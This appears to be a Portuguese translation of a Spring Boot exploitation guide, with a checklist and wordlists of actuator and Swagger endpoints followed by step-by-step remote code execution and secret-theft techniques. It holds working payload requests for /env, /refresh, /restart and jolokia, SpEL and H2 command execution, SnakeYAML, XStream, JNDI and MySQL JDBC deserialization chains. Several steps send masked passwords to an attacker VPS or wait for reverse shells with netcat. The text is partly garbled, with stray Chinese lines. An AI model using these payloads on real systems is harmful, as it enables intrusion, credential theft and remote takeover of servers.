
Materiais de estudo de vulnerabilidades relacionadas ao SpringBoot, coleção de métodos e técnicas de exploração, check list de avaliação de segurança black-box
Materiais de estudo sobre vulnerabilidades relacionadas ao Spring Boot, coleção de métodos e técnicas de exploração, lista de verificação de avaliação de segurança black box
⚠️ Todo o conteúdo deste projeto destina-se apenas a pesquisas de segurança e testes autorizados. As pessoas relevantes não se responsabilizam por quaisquer danos causados pelo uso indevido e abuso do projeto
/manage, /management, ou nomes relacionados ao App do projeto como caminho raiz do Spring./, enquanto na versão 2.x, o caminho inicial é unificado como /actuator./env, às vezes são modificados pelos programadores, por exemplo, para /appenv.O Spring Cloud é uma coleção ordenada de uma série de frameworks baseados no Spring Boot para construir serviços e fornecer funcionalidades comuns como gerenciamento de configuração, registro e descoberta de serviços, roteamento inteligente, etc., ajudando no desenvolvimento rápido de sistemas distribuídos.
| Dependência | Lista de Versões e Versões de Componentes Dependentes |
|---|---|
| spring-boot-starter-parent | spring-boot-starter-parent |
| spring-boot-dependencies |
| Sufixo da versão secundária | Significado |
|---|---|
| BUILD-SNAPSHOT | Versão snapshot, código não fixo, em constante mudança |
Os desenvolvedores não percebem que o vazamento de endereços pode causar riscos de segurança, ou quando o ambiente de desenvolvimento é alterado para o ambiente de produção online, as pessoas relevantes não alteram os arquivos de configuração, esquecem de alternar a configuração do ambiente, etc.
Acesse diretamente as duas rotas relacionadas ao Swagger a seguir para verificar se a vulnerabilidade existe:``` /v2/api-docs /swagger-ui.html
Algumas outras rotas de interface relacionadas que podem ser encontradas, como swagger, swagger codegen, swagger-dubbo:```
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
Além disso, as seguintes rotas relacionadas ao spring boot actuator às vezes também contêm (ou inferem) algumas informações de endereço de interface, mas não podem obter informações relacionadas aos parâmetros:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops
**De modo geral, expor as interfaces e informações de parâmetros de uma aplicação Spring Boot não é considerado uma vulnerabilidade**, mas, do ponto de vista da "**segurança padrão**", não expor essas informações é mais seguro.
Para um atacante, normalmente ele auditará minuciosamente as interfaces expostas para obter mais conhecimento sobre o sistema de negócios e, ao mesmo tempo, verificará se o sistema de aplicação possui outros tipos de vulnerabilidades de negócio, como acesso não autorizado, escalonamento de privilégios, etc.
### 0x02: Rotas expostas devido a configuração inadequada
> Principalmente porque o desenvolvedor não percebeu que expor rotas poderia representar um risco de segurança durante o desenvolvimento, ou não seguiu o fluxo de trabalho padrão, esquecendo-se de modificar/alternar para a configuração do ambiente de produção quando necessário.
Consultando [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) e [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt), as rotas padrão internas que podem ser expostas devido a configuração inadequada podem incluir:```
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
Entre as interfaces mais importantes para encontrar vulnerabilidades estão:
/env、/actuator/env
A requisição GET /env vaza diretamente variáveis de ambiente, endereços de rede interna, nomes de utilizadores em configurações, etc.; quando o programador nomeia atributos de forma irregular, por exemplo, escrevendo password como psasword, pwd, pode vazar senhas em texto claro;
Ao mesmo tempo, existe uma certa probabilidade de definir alguns atributos através da requisição POST ao endpoint /env, desencadeando indiretamente vulnerabilidades RCE relacionadas; também há chance de obter o texto claro de senhas, chaves e outras informações privadas importantes que estavam ocultas com asteriscos.
/refresh、/actuator/refresh
Após definir atributos via requisição POST ao endpoint /env, pode-se combinar com a requisição POST ao endpoint /refresh para atualizar as variáveis de atributo e assim desencadear vulnerabilidades RCE relacionadas.
/restart、/actuator/restart
A exposição deste endpoint é menos comum; pode-se definir atributos via requisição POST ao endpoint /env e depois fazer uma requisição POST ao endpoint para reiniciar a aplicação e desencadear vulnerabilidades RCE relacionadas.
Ao aceder ao endpoint /env, o Spring Actuator substitui por * o valor dos atributos cujo nome contenha palavras-chave sensíveis (como password, secret), para efeitos de ofuscação.
/jolokia ou /actuator/jolokiajolokia-core (versão necessária ainda desconhecida)Fazer uma requisição GET ao endpoint /env ou /actuator/env do site alvo, procurar pela palavra-chave ****** e encontrar o nome do atributo cujo valor, oculto por asteriscos *, se pretende obter.
Substituir security.user.password no exemplo abaixo pelo nome real do atributo que se pretende obter e enviar o pacote diretamente; o resultado do texto claro estará contido na chave value do pacote de resposta.
org.springframework.bootNa verdade, invoca o método getProperty da instância da classe org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
org.springframework.cloud.context.environmentNa verdade, é chamar o método getProperty da instância da classe org.springframework.cloud.context.environment.EnvironmentManager
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
A situação específica do alvo e os MBeans existentes podem ser diferentes. Você pode pesquisar palavras-chave como getProperty para encontrar métodos que possam ser chamados.
/env do site alvo/env do site alvo/refresh do site alvo para atualizar a configuração (existe a dependência spring-boot-starter-actuator)spring-cloud-starter-netflix-eureka-clientFaça uma requisição GET para a interface /env ou /actuator/env do site alvo, pesquise a palavra-chave ****** e encontre o nome da propriedade correspondente ao valor mascarado por asteriscos * que deseja obter.
Escute na porta 80 do seu servidor externo controlado:```bash nc -lvk 80
##### Passo 3: Definir a propriedade eureka.client.serviceUrl.defaultZone
Substitua o `security.user.password` no seguinte `http://value:${security.user.password}@your-vps-ip` pelo nome do atributo correspondente que deseja obter, que está mascarado por asteriscos * ;
Substitua o `your-vps-ip` pelo endereço IP real do seu servidor externo.
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
##### Passo 4: Atualizar configuração
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
##### Passo 5: Decodificar o valor do atributo
Normalmente, neste momento, o servidor que está escutando com nc receberá uma solicitação do alvo, contendo algo semelhante ao seguinte cabeçalho `Authorization`:```
Authorization: Basic dmFsdWU6MTIzNDU2
Decodificando a parte dmFsdWU6MTIzNDU2 com base64, obtém-se um valor em texto claro como value:123456, onde 123456 é o valor do atributo antes da mascaramento com asterisco * alvo.
/env para acionar o alvo a fazer uma requisição HTTP arbitrária para um endereço especificado na internetReferência ao issue-1 proposto por UUUUnotfound, é possível, durante o envio da requisição HTTP externa pelo alvo, usar placeholders no caminho da URL para exfiltrar dados
Faça uma requisição GET ao endpoint /env ou /actuator/env do site alvo, procure pela palavra-chave ****** e encontre o nome do atributo correspondente ao valor mascarado com asterisco * que deseja obter.
Monitore a porta 80 em seu servidor externo controlado:```bash nc -lvk 80
##### Passo 3: Acionar uma requisição http externa
- O método `spring.cloud.bootstrap.location` (**também aplicável a** casos em que há caracteres especiais de URL nos dados em texto claro)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
- `eureka.client.serviceUrl.defaultZone` método (**não aplicável** a casos em que haja caracteres especiais de URL em dados de texto simples)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
##### Passo 4: Atualizar configuração
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
### 0x06: Obter o texto claro de senhas mascaradas por asteriscos (Método 4)
> Ao acessar o endpoint /env, o Spring Actuator substitui os valores das propriedades com palavras-chave sensíveis (como password, secret) por asteriscos (*) para mascaramento.
#### Condições de exploração:
- Possibilidade de fazer solicitação GET normal para o endpoint `/heapdump` ou `/actuator/heapdump` do alvo.
#### Método de exploração:
##### Passo 1: Encontrar o nome da propriedade desejada
Faça uma solicitação GET para o endpoint `/env` ou `/actuator/env` do site alvo, procure pela palavra-chave `******` e encontre o nome da propriedade cujo valor está mascarado por asteriscos.
##### Passo 2: Baixar as informações do heap da JVM
> O tamanho do arquivo heapdump baixado geralmente fica entre 50M e 500M, às vezes pode ser maior que 2G.
Faça uma solicitação `GET` para o endpoint `/heapdump` ou `/actuator/heapdump` do alvo para baixar as informações do heap da JVM do aplicativo em tempo real.
##### Passo 3: Usar o MAT para obter o texto claro das senhas no heap da JVM
Consulte o método do [artigo](https://landgrey.me/blog/16/) e use a instrução **OQL** da ferramenta [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php).```
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
或
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。
Como as vulnerabilidades relacionadas ao Spring Boot podem ser causadas por combinações de vulnerabilidades de múltiplos componentes, alguns nomes de vulnerabilidades não são muito formais, sendo o suficiente para distingui-los.
Por exemplo, ao acessar /article?id=xxx, a página exibirá um erro de código de status 500: Whitelabel Error Page. Então, os payloads subsequentes serão tentados no parâmetro id.
Digite /article?id=${7*7}. Se a página de erro mostrar o valor 49 (resultado de 7*7) na página de erro, então basicamente pode-se confirmar que o alvo possui uma vulnerabilidade de injeção de expressão SpEL.
Converter de formato de string para a forma de bytes Java 0x**, para facilitar a execução de código arbitrário:```python
result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))
Executar o comando `open -a Calculator````java
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
org.springframework.util.PropertyPlaceholderHelperparseStringValue${} será analisado e executado como uma expressão SpEL pelo método resolvePlaceholder da classe org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration, resultando em uma vulnerabilidade RCE Vulnerabilidade de Injeção de Expressão SpEL no SpringBoot - Análise e Reprodução
repository/springboot-spel-rce
Acesso normal:``` http://127.0.0.1:9091/article?id=66
Execute o comando `open -a Calculator`:```java
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
/env do site alvo para definir propriedades/refresh do site alvo para atualizar a configuração (dependência spring-boot-starter-actuator presente)spring-cloud-starter da qual o alvo depende é < 1.3.0.RELEASEEm uma máquina VPS sob seu controle, inicie um servidor HTTP simples, usando portas comuns de serviço HTTP (80, 443) quando possível.```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
No diretório raiz do site, coloque um arquivo com sufixo `yml` chamado `example.yml`, com o seguinte conteúdo:```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]
No diretório raiz do site, coloque o arquivo com extensão jar chamado example.jar, cujo conteúdo será o código a ser executado. A codificação e compilação do código seguem a referência yaml-payload.
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
Notas de estudo sobre Exploit Spring Boot Actuator e Spring Cloud Env
repository/springcloud-snakeyaml-rce
Acesso normal:``` http://127.0.0.1:9092/env
### 0x03: RCE por desserialização XStream no Eureka
#### Condições de exploração:
- Pode enviar requisições POST para o endpoint `/env` do site alvo para definir propriedades
- Pode enviar requisições POST para o endpoint `/refresh` do site alvo para atualizar a configuração (com dependência `spring-boot-starter-actuator`)
- O `eureka-client` usado pelo alvo < 1.8.7 (geralmente incluído na dependência `spring-cloud-starter-netflix-eureka-client`)
- O alvo pode fazer requisições ao servidor HTTP do atacante (requisições podem sair para a rede externa)
#### Método de exploração:
##### Passo 1: Configurar um site que responda com um payload XStream malicioso
Fornecer um [exemplo de script Python](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py) que depende do Flask e atende aos requisitos, cujo objetivo é usar o Python nativo da máquina Linux alvo para obter uma shell reversa.
Execute o script acima em seu próprio servidor usando Python e modifique o endereço IP e a porta da shell reversa no script de acordo com a situação real.
##### Passo 2: Escutar a porta da shell reversa
Geralmente usa-se netcat para escutar uma porta, aguardando a shell reversa.```bash
nc -lvp 443
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
eureka.client.serviceUrl.defaultZone é definida como um URL de servidor eureka externo maliciosoSpring Boot Actuator: De acesso não autorizado a getshell
repository/springboot-eureka-xstream-rce
Acesso normal:``` http://127.0.0.1:9093/env
### 0x04: jolokia logback JNDI RCE
#### Condições de exploração:
- O site alvo possui a interface `/jolokia` ou `/actuator/jolokia`
- O alvo utiliza a dependência `jolokia-core` (versão necessária desconhecida) e o ambiente possui MBeans relacionados
- O alvo pode solicitar o servidor HTTP do atacante (a solicitação pode sair para a rede externa)
- A injeção JNDI comum é afetada pela versão JDK do alvo, jdk < 6u201/7u191/8u182/11.0.1 (LDAP), mas o ambiente relevante pode contornar isso
#### Método de exploração:
##### Passo 1: Verificar os MBeans existentes
Acesse a interface `/jolokia/list` e verifique se existem as palavras-chave `ch.qos.logback.classic.jmx.JMXConfigurator` e `reloadByURL`.
##### Passo 2: Hospedar o arquivo xml
No seu próprio servidor VPS, inicie um servidor HTTP simples, usando portas comuns de serviços HTTP (80, 443) sempre que possível.```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
Coloque no diretório raiz o arquivo example.xml (terminado em xml), com o seguinte conteúdo:```xml
##### Passo 3: Preparar o código Java a ser executado
Escreva o [código de exemplo Java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) otimizado para obter um reverse shell, `JNDIObject.java`,
Compile de forma compatível com versões antigas do JDK:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
Em seguida, copie o arquivo JNDIObject.class gerado para o diretório raiz do site mencionado na Etapa 2.
Baixe o marshalsec e use o comando abaixo para configurar o serviço LDAP correspondente:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
##### Etapa 5: Escute a porta do shell reverso
Geralmente, use nc para escutar a porta, aguardando o shell reverso```bash
nc -lv 443
⚠️ Se o alvo solicitar com sucesso o example.xml e o marshalsec também receber a solicitação do alvo, mas o alvo não solicitar o JNDIObject.class, provavelmente é porque a versão do jdk no ambiente alvo é muito alta, resultando na falha da exploração JNDI.
Substitua pelo endereço IP real do seu VPS e acesse o URL para acionar a vulnerabilidade:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
#### Princípio da Vulnerabilidade:
1. Acessar diretamente a URL que pode acionar a vulnerabilidade equivale a invocar o método `reloadByURL` da classe `ch.qos.logback.classic.jmx.JMXConfigurator` via jolokia
2. A máquina alvo solicita o URL do arquivo de configuração de log externo e obtém o conteúdo do arquivo xml malicioso
3. A máquina alvo usa saxParser.parse para analisar o arquivo xml (isso leva à vulnerabilidade XXE)
4. No arquivo xml, usa-se a tag `insertFormJNDI` da dependência `logback` para definir o endereço do servidor JNDI externo
5. A máquina alvo solicita o servidor JNDI malicioso, resultando em injeção JNDI e causando uma vulnerabilidade RCE
#### Análise da Vulnerabilidade:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
#### Ambiente da Vulnerabilidade:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
Acesso normal:```
http://127.0.0.1:9094/env
/jolokia ou /actuator/jolokia no site alvojolokia-core (requisitos de versão atualmente desconhecidos) e existem MBeans relacionados no ambienteAcesse o endpoint /jolokia/list e verifique se as palavras-chave type=MBeanFactory e createJNDIRealm existem.
Escreva o código de exemplo Java otimizado para obter um shell reverso JNDIObject.java.
Inicie um servidor HTTP simples em uma máquina VPS que você controla, usando portas de serviço HTTP comuns (80, 443) sempre que possível.```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Copie o arquivo de classe compilado na **etapa 2** para o diretório raiz do servidor HTTP.
##### Etapa 4: Configurar um serviço rmi malicioso
Baixe o [marshalsec](https://github.com/mbechler/marshalsec) e use o seguinte comando para configurar o serviço rmi correspondente:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
Geralmente, usa-se o nc para escutar a porta e aguardar pelo reverse shell.```bash nc -lvp 443
##### Passo Seis: Enviar Payload Malicioso
Modifique o endereço de destino, endereço RMI, porta e outras informações no script [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) de acordo com a situação real e execute-o no servidor que você controla.
#### Princípio da Vulnerabilidade:
1. Use o jolokia para chamar createJNDIRealm para criar um JNDIRealm
2. Defina o endereço connectionURL como o URL do Serviço RMI
3. Defina contextFactory como RegistryContextFactory
4. Pare o Realm
5. Inicie o Realm para acionar a injeção JNDI no endereço RMI especificado, causando a vulnerabilidade RCE
#### Análise da Vulnerabilidade:
[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
#### Ambiente da Vulnerabilidade:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
Acesso normal:```
http://127.0.0.1:9094/env
/env do site alvo para definir propriedades/restart do site alvo para reiniciar a aplicaçãocom.h2database.h2 (requisitos de versão ainda desconhecidos)⚠️ O método 'T5' no payload abaixo precisa ser renomeado (ex: T6) após cada execução de comando para poder ser recriado e usado novamente, caso contrário a vulnerabilidade não será acionada na próxima reinicialização da aplicação.
spring 1.x (execução de comando sem retorno)``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
spring 2.x (executar comando sem eco)```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring.datasource.hikari.connection-test-query é definida como uma instrução SQL maliciosa CREATE ALIAS para criar uma função personalizada.connectionTestQuery do pool de conexões HikariCP, que define a instrução SQL executada antes de estabelecer uma nova conexão com o banco de dados. remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
repository/springboot-h2-database-rce
Acesso normal:``` http://127.0.0.1:9096/actuator/env
### 0x07:h2 database console JNDI RCE
#### Condições de exploração:
- Dependência `com.h2database.h2` presente (versão necessária desconhecida por enquanto)
- Configuração do Spring com console h2 ativado `spring.h2.console.enabled=true`
- O alvo pode solicitar o servidor do atacante (solicitação pode acessar a rede externa)
- Injeção JNDI é afetada pela versão JDK do alvo, jdk < 6u201/7u191/8u182/11.0.1 (método LDAP)
#### Método de exploração:
##### Passo 1: Acessar a rota para obter o jsessionid
Acesse diretamente a rota padrão do console h2 `/h2-console` no alvo, o alvo redirecionará para a página `/h2-console/login.jsp?jsessionid=xxxxxx`, anote o valor real de `jsessionid=xxxxxx`.
##### Passo 2: Preparar o código Java a ser executado
Escreva o [código de exemplo Java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java` otimizado para obter um reverse shell,
compile usando um método compatível com versões mais baixas do JDK:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
Em seguida, copie o arquivo JNDIObject.class gerado para o diretório raiz do site na Etapa 2.
Em sua própria máquina VPS controlada, inicie um servidor HTTP simples, use portas de serviço HTTP comuns (80, 443) se possível.```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Copie os arquivos de classe compilados na **Etapa 2** para o diretório raiz do servidor HTTP.
##### Etapa 4: Configurar um serviço ldap malicioso
Baixe [marshalsec](https://github.com/mbechler/marshalsec) e use o seguinte comando para configurar o serviço ldap correspondente:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
Geralmente, usa-se nc para escutar a porta, aguardando o shell reverso.```bash nc -lv 443
##### Passo 6: Enviar pacote para acionar injeção JNDI
De acordo com a situação real, substitua `jsessionid=xxxxxx`, `www.example.com` e `ldap://your-vps-ip:1389/JNDIObject` nos dados abaixo.```bash
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
Spring Boot + Injeção JNDI do banco de dados H2
repository/springboot-h2-database-rce
Acesso normal:``` http://127.0.0.1:9096/h2-console
### 0x08:mysql jdbc deserialization RCE
#### Pré-requisitos:
- Capacidade de enviar requisições POST para o endpoint `/env` do site alvo para definir propriedades
- Capacidade de enviar requisições POST para o endpoint `/refresh` do site alvo para atualizar a configuração (com dependência `spring-boot-starter-actuator`)
- Presença da dependência `mysql-connector-java` no ambiente alvo
- O alvo deve ser capaz de fazer requisições ao servidor do atacante (requisições para a rede externa)
#### Método de exploração:
##### Passo 1: Verificar dependências do ambiente
Faça uma requisição GET para `/env` ou `/actuator/env`, pesquise pela palavra-chave `mysql-connector-java` nas variáveis de ambiente (classpath) e anote o número da versão (5.x ou 8.x);
Procure e observe se há dependências comuns de gadgets de desserialização nas variáveis de ambiente, por exemplo `commons-collections`, `Jdk7u21`, `Jdk8u20`, etc.;
Pesquise pela palavra-chave `spring.datasource.url` e anote seu `value` para facilitar a restauração posterior do valor normal da URL JDBC.
##### Passo 2: Configurar um servidor MySQL malicioso rogue
Execute o script [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) no servidor que você controla e utilize o [ysoserial](https://github.com/frohoff/ysoserial) para personalizar o comando a ser executado:```bash
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
Gere o arquivo de payload de desserialização payload.ser no mesmo diretório do script, para uso pelo script.
⚠️ Modificar esta propriedade fará com que todos os serviços normais de banco de dados do site fiquem temporariamente indisponíveis, causando impacto nos negócios. Por favor, opere com cuidado!
Para a versão mysql-connector-java 5.x, defina o valor da propriedade como:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
Para a versão 8.x do mysql-connector-java, defina o **valor da propriedade** como:```
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"对应属性值"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
Tente acessar a interface de consulta ao banco de dados conhecida do site, por exemplo: /product/list, ou procure outras formas de acionar ativamente uma consulta ao banco de dados no site de origem, e então a vulnerabilidade será acionada.
Após concluir a exploração da vulnerabilidade de desserialização, utilize o método do Passo 3 para restaurar o valor value original de spring.datasource.url registrado no Passo 1.
spring.datasource.url é definido como um endereço de url jdbc mysql malicioso externo.refresh, um novo valor de atributo spring.datasource.url é definido.mysql-connector-java dependente do alvo desserializa o gadget configurado, causando uma vulnerabilidade RCE. New-Exploit-Technique-In-Java-Deserialization-Attack
É necessário configurar
spring.datasource.url,spring.datasource.usernameespring.datasource.passwordnoapplication.propertiespara garantir a conexão normal com o banco de dados mysql; caso contrário, o programa apresentará erro e será encerrado na inicialização.
repository/springboot-mysql-jdbc-rce
Acesso normal:``` http://127.0.0.1:9097/actuator/env
Após enviar o payload, a vulnerabilidade é acionada:```
http://127.0.0.1:9097/product/list
/env do site alvo para definir propriedades/restart do site alvo para reiniciar a aplicaçãojavax.naming.spi.ObjectFactory, caso contrário, causará saída anormal do programaEm uma máquina VPS sob seu controle, inicie um servidor HTTP simples, usando portas comuns de serviço HTTP (80, 443) sempre que possível.```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
No diretório raiz, coloque o arquivo `example.xml` (com extensão `xml`). O conteúdo real deve ser determinado de acordo com o serviço JNDI usado na etapa dois:```xml
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
</configuration>
Consulte o artigo, modifique o JNDIExploit e inicie (também pode usar outros métodos):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
##### Passo três: Definir a propriedade logging.config
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.xml
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.xml"}
##### Passo 4: Reiniciar a aplicação
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### Princípio da Vulnerabilidade:
1. A máquina alvo define a URL do arquivo de configuração do logback através da propriedade `logging.config`
2. Após reiniciar, o programa solicita o conteúdo do arquivo XML malicioso da URL
3. A máquina alvo usa `saxParser.parse` para analisar o arquivo XML (o que causa a vulnerabilidade XXE)
4. No arquivo XML, é utilizada a tag `insertFormJNDI` da dependência `logback`, configurando o endereço do servidor JNDI externo
5. A máquina alvo solicita o servidor JNDI malicioso, causando injeção JNDI e resultando em vulnerabilidade RCE
#### Análise da Vulnerabilidade:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
https://landgrey.me/blog/21/
#### Ambiente da Vulnerabilidade:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
Acesso normal:```
http://127.0.0.1:9098/actuator/env
/env do site alvo para definir propriedades/restart do site alvo para reiniciar a aplicaçãoEm uma máquina VPS que você controla, inicie um servidor HTTP simples, usando portas comuns de serviço HTTP (80, 443) se possível.```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
Coloque no diretório raiz um arquivo `example.groovy` terminado em `groovy`, com o conteúdo do código groovy a ser executado, por exemplo:```xml
Runtime.getRuntime().exec("open -a Calculator")
